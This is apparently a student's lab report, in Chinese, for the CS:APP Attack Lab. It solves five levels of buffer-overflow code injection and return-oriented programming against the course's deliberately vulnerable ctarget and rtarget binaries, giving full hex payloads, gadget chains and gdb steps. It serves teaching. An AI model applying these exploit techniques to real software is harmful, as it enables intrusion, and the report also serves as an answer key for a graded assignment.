目录

CS:APP - Attack Lab

目录

Introduction to Computer Systems I (H) @ Fudan University, fall 2019.

实验简介

附件说明

  • ctarget:Level 1 ~ 3 的攻击目标,未开启栈溢出保护,可以自己写可执行代码。
  • rtarget:Level 4 ~ 5 的攻击目标,开启了栈溢出保护,需要使用 ROP(Return-Oriented Programming)来实现注入。
  • hex2raw:辅助工具,用于将十六进制数转换为对应字符(串)。
  • farm.c:ROP 中 gadget 的来源。
  • cookie.txt:记录了 cookie 的值,解题过程中会用到。

实验报告

准备工作

0.1 反汇编 ctargetrtarget

使用 objdump 反汇编 ctargetrtarget 程序,并将输出重定向到 ctarget.asmrtarget.asm

objdump -d ctarget > ctarget.asm
objdump -d rtarget > rtarget.asm

0.2 如何输入用于注入的字符串

用于注入的字符串中有很多不可见字符不能直接用键盘输入,因此这里需要借助本 Lab 提供的辅助工具 hex2raw 来实现这些不可见字符的输入。

0.2.1 hex2raw 使用方法
  • 输入文件 exploit.txt 的内容:以空格隔开的 2 位一组的十六进制数
  • 输出文件 exploit_raw.txt 的内容:还原出的字符串

编辑输入文件 exploit.txt

vim exploit.txt
68 65 6c 6c 6f

使用 hex2raw 还原字符串:

./hex2raw < exploit.txt > exploit_raw.txt

查看输出文件 exploit_raw.txt

cat exploit_raw.txt
hello
0.2.2 输入字符串

ctarget 程序为例:

./ctarget -q < exploit_raw.txt

输出信息:

Cookie: 0x59b997fa
Type string:No exploit.  Getbuf returned 0x1
Normal return

Level 1: Code Injection

1.1 本关目标

执行函数 touch1

1.2 本关解答

exploit.txt 中的内容:

c2 a9 20 32 30 31 39 20
43 6f 70 79 72 69 67 68
74 20 48 61 6b 75 6c 61
2c 20 43 43 20 42 59 2d
4e 43 2d 53 41 20 00 00
c0 17 40 00 00 00 00 00

1.3 解题思路

输入一个长字符串,使函数 test 在调用函数 getbuf 时发生缓冲区溢出,利用溢出部分修改函数的返回地址,从而使函数 getbuf 不返回到函数 test,而是返回到目标函数 touch1

1.4 解题过程

1.4.0 总览

讲义中给出了函数 testgetbuf 的源代码:

void test() {
    int val;
    val = getbuf();
    printf("No exploit. Getbuf returned 0x%x\n", val);
}
unsigned getbuf() {
    char buf[BUFFER_SIZE];
    Gets(buf);
    return 1;
}

在函数 getbuf 中,函数 Gets 将读取我们输入的字符串,并保存在缓冲区 buf 中。可见,这里存在缓冲区溢出漏洞。

1.4.1 观察函数 getbuf

ctarget.asm 中找到函数 getbuf 对应的汇编语句:

00000000004017a8 <getbuf>:
  4017a8:   48 83 ec 28             sub    $0x28,%rsp
  4017ac:   48 89 e7                mov    %rsp,%rdi
  4017af:   e8 8c 02 00 00          callq  401a40 <Gets>
  4017b4:   b8 01 00 00 00          mov    $0x1,%eax
  4017b9:   48 83 c4 28             add    $0x28,%rsp
  4017bd:   c3                      retq
  4017be:   90                      nop
  4017bf:   90                      nop

4017a8: sub $0x28,%rsp 对应 C 语言代码中的 char buf[BUFFER_SIZE],可见 BUFFER_SIZE 的值即为 40

因此,当我们输入的字符串长度超过 40 时,就将造成缓冲区溢出。

1.4.2 查看函数 touch1 的地址

ctarget.asm 中找到函数 touch1 对应的汇编语句:

00000000004017c0 <touch1>:
  ...

可见函数 touch1 的地址为 0x4017c0

1.4.3 ATTACK

函数 getbuf 在栈中没有保存寄存器,也没有其他局部变量。因此由栈帧的结构可知,当发生缓冲区溢出时,溢出部分将直接覆盖调用者栈帧中的返回地址。

构造用于注入的字符串:

  1. 输入任意 40 个字符填满缓冲区;
  2. 输入作为地址的 8 个字符导致溢出,溢出部分将返回地址修改为 touch1 的地址 0x4017c0。注意地址的字节顺序应当按照小端序(little endian),即低位字节保存在低地址,高位字节保存在高地址。

编辑输入文件 exploit.txt

c2 a9 20 32 30 31 39 20
43 6f 70 79 72 69 67 68
74 20 48 61 6b 75 6c 61
2c 20 43 43 20 42 59 2d
4e 43 2d 53 41 20 00 00
c0 17 40 00 00 00 00 00

ctarget 程序中输入该字符串:

cat exploit.txt | ./hex2raw | ./ctarget -q

输出信息:

Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:1:C2 A9 20 32 30 31 39 20 43 6F 70 79 72 69 67 68 74 20 48 61 6B 75 6C 61 2C 20 43 43 20 42 59 2D 4E 43 2D 53 41 20 00 00 C0 17 40 00 00 00 00 00
1.4.4 运行结果
/posts/note/csapp/attack-lab/assets/level-1.webp
Level 1 运行结果

Level 2: Code Injection

2.1 本关目标

执行函数 touch2,并传入 cookie 的值作为参数 val

2.2 本关解答

exploit.txt 中的内容:

48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00

2.3 解题思路

同样,还是利用函数 getbuf 的缓冲区溢出漏洞。只是在返回前需要额外一步操作:将 cookie 的值传给 %rdi 寄存器(第 1 个参数)。我们可以自行构造汇编代码来实现这一点。

那么如何执行我们构造的代码呢?我们可以将这段代码放在缓冲区内,然后利用缓冲区溢出部分修改函数的返回地址,使函数 getbuf 返回到这段代码的起始地址。之后再写一段用于返回到目标函数 touch2 的返回语句即可。

2.4 解题过程

2.4.0 总览

讲义中给出了函数 touch2 的源代码:

void touch2(unsigned val) {
    vlevel = 2;       /* Part of validation protocol */
    if (val == cookie) {
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
    exit(0);
}

可见需要传入 cookie 的值作为参数 val

2.4.1 查看函数 touch2 的地址

ctarget.asm 中找到函数 touch2 对应的汇编语句:

00000000004017ec <touch2>:
  ...

可见函数 touch2 的地址为 0x4017ec

2.4.2 查看缓冲区的起始地址

使用 gdb 调试 ctarget

gdb ctarget
(gdb) set args -q

在函数 getbuf 的入口处设置一个断点。

(gdb) b getbuf

运行,到断点处暂停,执行一步 4017a8: sub $0x28,%rsp,查看此时 %rsp 的值。

(gdb) r
(gdb) ni
(gdb) p/x $rsp

输出信息:

$1 = 0x5561dc78

可见此时 %rsp 的值为 0x5561dc78,这就是缓冲区的起始地址。

2.4.3 构造汇编代码

这段汇编代码需要实现的功能:

  1. cookie 的值传给 %rdi 寄存器(第 1 个参数);
  2. 返回到目标函数 touch2

其中 cookie 的值由附件 cookie.txt 给出,为 0x59b997fa,函数 touch2 的地址由 2.4.1 节可知为 0x4017ec

由此构造汇编代码:

mov    $0x59b997fa,%rdi
push   $0x4017ec
ret

因为 ret 时将弹栈,并将弹出的值传给 %rip,这里 push $0x4017ec 的作用就是将函数 touch2 的地址先压入栈中。由于栈后进先出(LIFO)的特点,这样弹栈时这个地址就会被当作函数的返回地址。

2.4.4 将汇编代码转换为机器码

将这段汇编代码保存在 level2.s 文件中。

使用 gcc 编译得到目标代码 level2.o

gcc -c level2.s

使用 objdump 反汇编 level2.o

objdump -d level2.o

输出信息:

level2.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
   7:   68 ec 17 40 00          pushq  $0x4017ec
   c:   c3                      retq

这样就得到了对应的机器码:

48 c7 c7 fa 97 b9 59
68 ec 17 40 00
c3
2.4.5 ATTACK

构造用于注入的字符串:

  1. 输入这段机器码(13 个字符),其起始地址就是缓冲区的起始地址;
  2. 输入任意 27 个字符填满缓冲区的剩余部分;
  3. 输入作为地址的 8 个字符导致溢出,溢出部分将返回地址修改为缓冲区的起始地址 5561dc78

编辑输入文件 exploit.txt

48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00

ctarget 程序中输入该字符串:

cat exploit.txt | ./hex2raw | ./ctarget -q

输出信息:

Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00
2.4.6 运行结果
/posts/note/csapp/attack-lab/assets/level-2.webp
Level 2 运行结果

Level 3: Code Injection

3.1 本关目标

执行函数 touch3,并传入表示 cookie 的值的字符串作为参数 sval

3.2 本关解答

exploit.txt 中的内容:

48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
00

3.3 解题思路

与 Level 2 类似,区别在于这次我们需要构造一个字符串,而不是直接传一个整数。需要注意字符串的保存位置。

3.4 解题过程

3.4.0 总览

讲义中给出了函数 hexmatchtouch3 的源代码:

/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval) {
    char cbuf[110];
    /* Make position of check string unpredictable */
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}
void touch3(char *sval) {
    vlevel = 3;       /* Part of validation protocol */
    if (hexmatch(cookie,sval)) {
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}

可见需要传入表示 cookie 的值的字符串作为参数 sval。同时函数 hexmatch 的设计使得直接获取用于检验的字符串较为困难,因此我们需要自行构造这个字符串。

3.4.1 查看函数 touch3 的地址

ctarget.asm 中找到函数 touch3 对应的汇编语句:

00000000004018fa <touch3>:
  ...

可见函数 touch3 的地址为 0x4018fa

已知 cookie 的值为 0x59b997fa,我是懒得去对照 ASCII 码表了,直接交给程序处理。编写代码如下:

void raw2hex(char* raw_str) {
    int len = strlen(raw_str);
    printf("Output:");
    for (int i = 0; i < len; ++i)
        printf(" %x", raw_str[i]);
    printf(" 00\n");                        // add '\0' to the end
}

传入字符串 59b997fa(已去除 0x 前缀),输出结果:

Output: 35 39 62 39 39 37 66 61 00

即为需要构造的字符串的十六进制数表示。

3.4.3 字符串的保存位置

需注意,该字符串不能保存在函数 getbuf 的缓冲区中,即函数返回地址在栈中保存位置的下方。否则返回到函数 touch3 后,在进行字符串比较前,一系列压栈操作将使缓冲区里的内容被新写入的数据覆盖。如下所示:

00000000004018fa <touch3>:
  4018fa:   53                      push   %rbx
  ...
  401911:   e8 36 ff ff ff          callq  40184c <hexmatch>
000000000040184c <hexmatch>:
  40184c:   41 54                   push   %r12
  40184e:   55                      push   %rbp
  40184f:   53                      push   %rbx
  ...

因此,字符串应当保存在函数返回地址在栈中保存位置的上方,也就是函数 test 的栈帧中。方便起见,不妨保存在返回地址保存位置的下一个地址,即缓冲区的起始地址 0x5561dc78 加上偏移量 48 后得到的地址 0x5561dca8

3.4.4 构造汇编代码

这段汇编代码需要实现的功能:

  1. 将这个字符串的地址传给 %rdi 寄存器(第 1 个参数);
  2. 返回到目标函数 touch3

其中,字符串的地址由 3.4.3 节可知为 0x5561dca8,函数 touch3 的地址由 3.4.1 节可知为 0x4018fa

类似 2.4.3 节,构造汇编代码:

mov    $0x5561dca8,%rdi
push   $0x4018fa
ret
3.4.5 将汇编代码转换为机器码

类似 2.4.4 节,得到对应的机器码:

48 c7 c7 a8 dc 61 55
68 fa 18 40 00
c3
3.4.6 ATTACK

构造用于注入的字符串:

  1. 输入这段机器码(13 个字符);
  2. 输入任意 27 个字符填满缓冲区的剩余部分;
  3. 输入作为地址的 8 个字符导致溢出,溢出部分将返回地址修改为缓冲区的起始地址 5561dc78
  4. 输入表示 cookie 的值的字符串。

编辑输入文件 exploit.txt

48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
00

ctarget 程序中输入该字符串:

cat exploit.txt | ./hex2raw | ./ctarget -q

输出信息:

Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00
3.4.7 运行结果
/posts/note/csapp/attack-lab/assets/level-3.webp
Level 3 运行结果

Level 4: Return-Oriented Programming

4.1 本关目标

同 Level 2。区别在于 rtarget 程序开启了地址随机化(Address Space Layout Randomization, ASLR)和栈不可执行机制(No-eXecute, NX),但同时也新增了辅助用的 gadget farm。这次我们需要进行 ROP 攻击,利用源程序已有的代码来构造我们需要的指令序列。

4.2 本关解答

exploit.txt 中的内容:

c2 a9 20 32 30 31 39 20
43 6f 70 79 72 69 67 68
74 20 48 61 6b 75 6c 61
2c 20 43 43 20 42 59 2d
4e 43 2d 53 41 20 00 00
cc 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00

4.3 解题思路

2.3 节,目标是将 cookie 的值传给 %rdi 寄存器,并最终返回到目标函数 touch2

由于没有指令可以将一个特定的立即数直接传给某个寄存器,这里我们可以将这个立即数先保存在栈中,然后利用 popq 指令弹栈传给某个寄存器,此后再利用 movqmovl 等指令在寄存器间互相传递。

为了使指令能够连成一个序列,我们需要每句指令后都紧接着一句 ret 指令(对应机器码 c3)。先提前将下一条指令的地址保存在栈中,然后利用 ret 指令弹栈传给 %rip,从而实现跳转。

需注意,由题目要求,只允许跳转到以下位置:

  • 函数 touch1touch2touch3 的地址
  • 注入代码的任意位置
  • gadget farm 中的某一个 gadget(即 start_farmend_farm 之间的地址)

4.4 解题过程

4.4.0 总览

原本的汇编代码:

mov    $0x59b997fa,%rdi
push   $0x4017ec
ret

我们逐句进行改写。

4.4.1 第 1 句指令
mov    $0x59b997fa,%rdi

4.3 节的分析,我们可以将 0x59b997fa 先保存在栈中,然后利用 popq 指令弹栈传给某个寄存器,此后再利用 movqmovl 等指令传给 %rdi 寄存器。

4.4.1.1 第 1 个 gadget

注意到 gadget farm 中函数 getval_280 对应的汇编语句:

00000000004019ca <getval_280>:
  4019ca:   b8 29 58 90 c3          mov    $0xc3905829,%eax
  4019cf:   c3                      retq

其中机器码 58 90 c3 对应汇编指令:

popq   %rax
ret

该指令的地址为 0x4019cc

4.4.1.2 第 2 个 gadget

注意到 gadget farm 中函数 addval_273 对应的汇编语句:

00000000004019a0 <addval_273>:
  4019a0:   8d 87 48 89 c7 c3       lea    -0x3c3876b8(%rdi),%eax
  4019a6:   c3                      retq

其中机器码 48 89 c7 c3 对应汇编指令:

movq   %rax,%rdi
ret

该指令的地址为 0x4019a2

4.4.1.3 整合

于是可改写第 1 句指令为:

popq   %rax
ret
movq   %rax,%rdi
ret

在栈中需要保存的内容为:

cc 19 40 00 00 00 00 00             /* popq   %rax                  */
fa 97 b9 59 00 00 00 00             /* the value of cookie          */
a2 19 40 00 00 00 00 00             /* movq   %rax,%rdi             */

分别对应:

  1. 第 1 个 gadget 中指令的地址 0x4019cc
  2. cookie 的值 0x59b997fa
  3. 第 2 个 gadget 中指令的地址 0x4019a2
4.4.2 第 2 ~ 3 句指令
push   $0x4017ec
ret

这次就不需要压栈了,直接将函数 touch2 的地址保存在栈中即可,上一条指令结尾的 ret 指令将使函数返回到目标函数 touch2

在栈中需要保存的内容为:

ec 17 40 00 00 00 00 00             /* the address of touch2        */

表示函数 touch2 的地址 0x4017ec

4.4.3 ATTACK

构造用于注入的字符串:

  1. 输入任意 40 个字符填满缓冲区;
  2. 输入由以上分析可知在栈中需要保存的内容。

编辑输入文件 exploit.txt

c2 a9 20 32 30 31 39 20
43 6f 70 79 72 69 67 68
74 20 48 61 6b 75 6c 61
2c 20 43 43 20 42 59 2d
4e 43 2d 53 41 20 00 00             /* 40 bytes of trash            */
cc 19 40 00 00 00 00 00             /* popq   %rax                  */
fa 97 b9 59 00 00 00 00             /* the value of cookie          */
a2 19 40 00 00 00 00 00             /* movq   %rax,%rdi             */
ec 17 40 00 00 00 00 00             /* the address of touch2        */

rtarget 程序中输入该字符串:

cat exploit.txt | ./hex2raw | ./rtarget -q

输出信息:

Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:rtarget:2:C2 A9 20 32 30 31 39 20 43 6F 70 79 72 69 67 68 74 20 48 61 6B 75 6C 61 2C 20 43 43 20 42 59 2D 4E 43 2D 53 41 20 00 00 CC 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 A2 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00
4.4.4 运行结果
/posts/note/csapp/attack-lab/assets/level-4.webp
Level 4 运行结果

Level 5: Return-Oriented Programming

5.1 本关目标

同 Level 3。区别在于这次我们需要进行 ROP 攻击。

5.2 本关解答

exploit.txt 中的内容:

c2 a9 20 32 30 31 39 20
43 6f 70 79 72 69 67 68
74 20 48 61 6b 75 6c 61
2c 20 43 43 20 42 59 2d
4e 43 2d 53 41 20 00 00
cc 19 40 00 00 00 00 00
20 00 00 00 00 00 00 00
42 1a 40 00 00 00 00 00
34 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
06 1a 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61
00

5.3 解题思路

3.3 节,目标是构造表示 cookie 的值的字符串,将其地址传给 %rdi 寄存器,并最终返回到目标函数 touch3

解题思路整体类似 4.3 节。

需注意,由于 rtarget 程序开启了地址随机化,不能直接得到字符串的地址,因此需要利用 movqmovl 等指令将 %rsp 的值传给某个寄存器,以获得栈的起始地址。之后再为这个地址加上一个偏移量 offset,从而得到字符串的实际地址。

为了不影响指令间的跳转,字符串应当保存在所有栈中保存内容的最后。

5.4 解题过程

5.4.0 总览

原本的汇编代码:

mov    $0x5561dca8,%rdi
push   $0x4018fa
ret

我们逐句进行改写。

5.4.1 第 1 句指令
mov    $0x5561dca8,%rdi

5.3 节的分析,我们不能直接得到字符串的地址,因此需要利用 movqmovl 等指令将 %rsp 的值传给某个寄存器。

当然,此时这个寄存器保存的值并不是字符串的地址。于是我们需要为这个地址加上一个偏移量 offset,从而得到字符串的实际地址。但字符串将保存在所有栈中保存内容的最后,因此 offset 的值我们最后才能得到。

5.4.1.1 第 3 个 gadget

注意到 gadget farm 中函数 addval_190 对应的汇编语句:

0000000000401a03 <addval_190>:
  401a03:   8d 87 41 48 89 e0       lea    -0x1f76b7bf(%rdi),%eax
  401a09:   c3                      retq

其中机器码 48 89 e0 c3 对应汇编指令:

movq   %rsp,%rax
ret

该指令的地址为 0x401a06

5.4.1.2 第 2 个 gadget

4.4.1.2 节,第 2 个 gadget 中有汇编指令:

movq   %rax,%rdi
ret

该指令的地址为 0x4019a2

5.4.1.3 第 4 个 gadget

惊奇地注意到 gadget farm 中函数 add_xy 对应的汇编语句(竟然还有这种函数):

00000000004019d6 <add_xy>:
  4019d6:   48 8d 04 37             lea    (%rdi,%rsi,1),%rax
  4019da:   c3                      retq

其对应汇编指令:

leaq   (%rdi,%rsi,1),%rax
ret

该指令的地址为 0x4019d6

其作用是将 %rdi%rsi 的值之和传给 %rax 寄存器。目前 %rsp 的值保存在 %rdi 寄存器中,因此我们需要想办法把偏移量 offset 的值传到 %rsi 寄存器,从而我们就能利用这个 gadget 中的指令得到字符串的实际地址。

类似 4.4.1 节,我们可以将 offset 的值先保存在栈中,然后利用 popq 指令弹栈传给某个寄存器,此后再利用 movqmovl 等指令传到 %rsi 寄存器。

5.4.1.4 第 1 个 gadget

4.4.1.1 节,第 1 个 gadget 中有汇编指令:

popq   %rax
ret

该指令的地址为 0x4019cc

现在我们的目标就转化为利用 movqmovl 等指令将 %rax 的值传到 %rsi 寄存器。遗憾的是,gadget farm 中并不存在直接将 %rax 的值传给 %rsi 寄存器的汇编指令,因此需要进行多次传递。

5.4.1.5 第 5 个 gadget

注意到 gadget farm 中函数 addval_436 对应的汇编语句:

0000000000401a11 <addval_436>:
  401a11:   8d 87 89 ce 90 90       lea    -0x6f6f3177(%rdi),%eax
  401a17:   c3                      retq

其中机器码 89 ce 90 90 c3 对应汇编指令:

movl   %ecx,%esi
ret

该指令的地址为 0x401a13

5.4.1.6 第 6 个 gadget

注意到 gadget farm 中函数 getval_159 对应的汇编语句:

0000000000401a33 <getval_159>:
  401a33:   b8 89 d1 38 c9          mov    $0xc938d189,%eax
  401a38:   c3                      retq

其中机器码 89 d1 38 c9 c3 对应汇编指令:

movl   %edx,%ecx
cmpb   %cl,%cl
ret

该指令的地址为 0x401a34。这里 cmpb %cl,%cl 相当于一条无用指令。

5.4.1.7 第 7 个 gadget

注意到 gadget farm 中函数 addval_487 对应的汇编语句:

0000000000401a40 <addval_487>:
  401a40:   8d 87 89 c2 84 c0       lea    -0x3f7b3d77(%rdi),%eax
  401a46:   c3                      retq

其中机器码 89 c2 84 c0 c3 对应汇编指令:

movl   %eax,%edx
testb  %al,%al
ret

该指令的地址为 0x401a42。这里 testb %al,%al 相当于一条无用指令。

至此,我们可以将 %rax 的值传到 %rsi 寄存器了(%eax-> %edx -> %ecx -> %esi)。

5.4.1.8 整合

于是可改写第 1 句指令为:

popq   %rax
ret
movl   %eax,%edx
testb  %al,%al
ret
movl   %edx,%ecx
cmpb   %cl,%cl
ret
movl   %ecx,%esi
ret

movq   %rsp,%rax
ret
movq   %rax,%rdi
ret

leaq   (%rdi,%rsi,1),%rax
ret
movq   %rax,%rdi
ret

在栈中需要保存的内容为:

cc 19 40 00 00 00 00 00             /* popq   %rax                  */
ff 00 00 00 00 00 00 00             /* the value of offset          */
42 1a 40 00 00 00 00 00             /* movl   %eax,%edx             */
34 1a 40 00 00 00 00 00             /* movl   %edx,%ecx             */
13 1a 40 00 00 00 00 00             /* movl   %ecx,%esi             */
06 1a 40 00 00 00 00 00             /* movq   %rsp,%rax             */
a2 19 40 00 00 00 00 00             /* movq   %rax,%rdi             */
d6 19 40 00 00 00 00 00             /* leaq   (%rdi,%rsi,1),%rax    */
a2 19 40 00 00 00 00 00             /* movq   %rax,%rdi             */

分别对应:

  1. 第 1 个 gadget 中指令的地址 0x4019cc
  2. 偏移量 offset 的值(目前先用 0xff 占位)
  3. 第 7 个 gadget 中指令的地址 0x401a42
  4. 第 6 个 gadget 中指令的地址 0x401a34
  5. 第 5 个 gadget 中指令的地址 0x401a13%rsi 寄存器就位)
  6. 第 3 个 gadget 中指令的地址 0x401a06
  7. 第 2 个 gadget 中指令的地址 0x4019a2%rdi 寄存器就位)
  8. 第 4 个 gadget 中指令的地址 0x4019d6(得到字符串地址)
  9. 第 2 个 gadget 中指令的地址 0x4019a2(传给 %rdi 寄存器)
5.4.2 第 2 ~ 3 句指令
push   $0x4018fa
ret

4.4.2 节,直接将函数 touch3 的地址保存在栈中即可,上一条指令结尾的 ret 指令将使函数返回到目标函数 touch3

在栈中需要保存的内容为:

fa 18 40 00 00 00 00 00             /* the address of touch3        */

表示函数 touch3 的地址 0x4018fa

5.4.3 确定偏移量的值

构造用于注入的字符串(初步):

  1. 输入任意 40 个字符填满缓冲区;
  2. 输入由以上分析可知在栈中需要保存的内容;
  3. 输入表示 cookie 的值的字符串。
c2 a9 20 32 30 31 39 20
43 6f 70 79 72 69 67 68
74 20 48 61 6b 75 6c 61
2c 20 43 43 20 42 59 2d
4e 43 2d 53 41 20 00 00             /* 40 bytes of trash            */
cc 19 40 00 00 00 00 00             /* popq   %rax                  */
ff 00 00 00 00 00 00 00             /* the value of offset          */
42 1a 40 00 00 00 00 00             /* movl   %eax,%edx             */
34 1a 40 00 00 00 00 00             /* movl   %edx,%ecx             */
13 1a 40 00 00 00 00 00             /* movl   %ecx,%esi             */
06 1a 40 00 00 00 00 00             /* movq   %rsp,%rax             */
a2 19 40 00 00 00 00 00             /* movq   %rax,%rdi             */
d6 19 40 00 00 00 00 00             /* leaq   (%rdi,%rsi,1),%rax    */
a2 19 40 00 00 00 00 00             /* movq   %rax,%rdi             */
fa 18 40 00 00 00 00 00             /* the address of touch3        */
35 39 62 39 39 37 66 61             /* the value of string          */
00

可见,第 11 行跳转完后得到了 %rsp 的值(此时 %rsp 指向第 12 行),第 16 行是字符串的地址,因此偏移量 offset 的值为 32(即 0x20)。

将第 7 行的占位符修改为 offset 的实际值 0x20

...
20 00 00 00 00 00 00 00             /* the real value of offset     */
...
5.4.4 ATTACK

编辑输入文件 exploit.txt

c2 a9 20 32 30 31 39 20
43 6f 70 79 72 69 67 68
74 20 48 61 6b 75 6c 61
2c 20 43 43 20 42 59 2d
4e 43 2d 53 41 20 00 00             /* 40 bytes of trash            */
cc 19 40 00 00 00 00 00             /* popq   %rax                  */
20 00 00 00 00 00 00 00             /* the real value of offset     */
42 1a 40 00 00 00 00 00             /* movl   %eax,%edx             */
34 1a 40 00 00 00 00 00             /* movl   %edx,%ecx             */
13 1a 40 00 00 00 00 00             /* movl   %ecx,%esi             */
06 1a 40 00 00 00 00 00             /* movq   %rsp,%rax             */
a2 19 40 00 00 00 00 00             /* movq   %rax,%rdi             */
d6 19 40 00 00 00 00 00             /* leaq   (%rdi,%rsi,1),%rax    */
a2 19 40 00 00 00 00 00             /* movq   %rax,%rdi             */
fa 18 40 00 00 00 00 00             /* the address of touch3        */
35 39 62 39 39 37 66 61             /* the value of string          */
00

rtarget 程序中输入该字符串:

cat exploit.txt | ./hex2raw | ./rtarget -q

输出信息:

Cookie: 0x59b997fa
Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:rtarget:3:C2 A9 20 32 30 31 39 20 43 6F 70 79 72 69 67 68 74 20 48 61 6B 75 6C 61 2C 20 43 43 20 42 59 2D 4E 43 2D 53 41 20 00 00 CC 19 40 00 00 00 00 00 20 00 00 00 00 00 00 00 42 1A 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 06 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00
5.4.5 运行结果
/posts/note/csapp/attack-lab/assets/level-5.webp
Level 5 运行结果

测试环境

  • Ubuntu 18.04.3 LTS (GNU/Linux 5.0.0-32-generic x86_64)
  • GCC 7.4.0
  • GDB 8.1.0

参考资料

  1. Assignment #4: Attack Lab - CS356 Introduction to Computer Systems - USC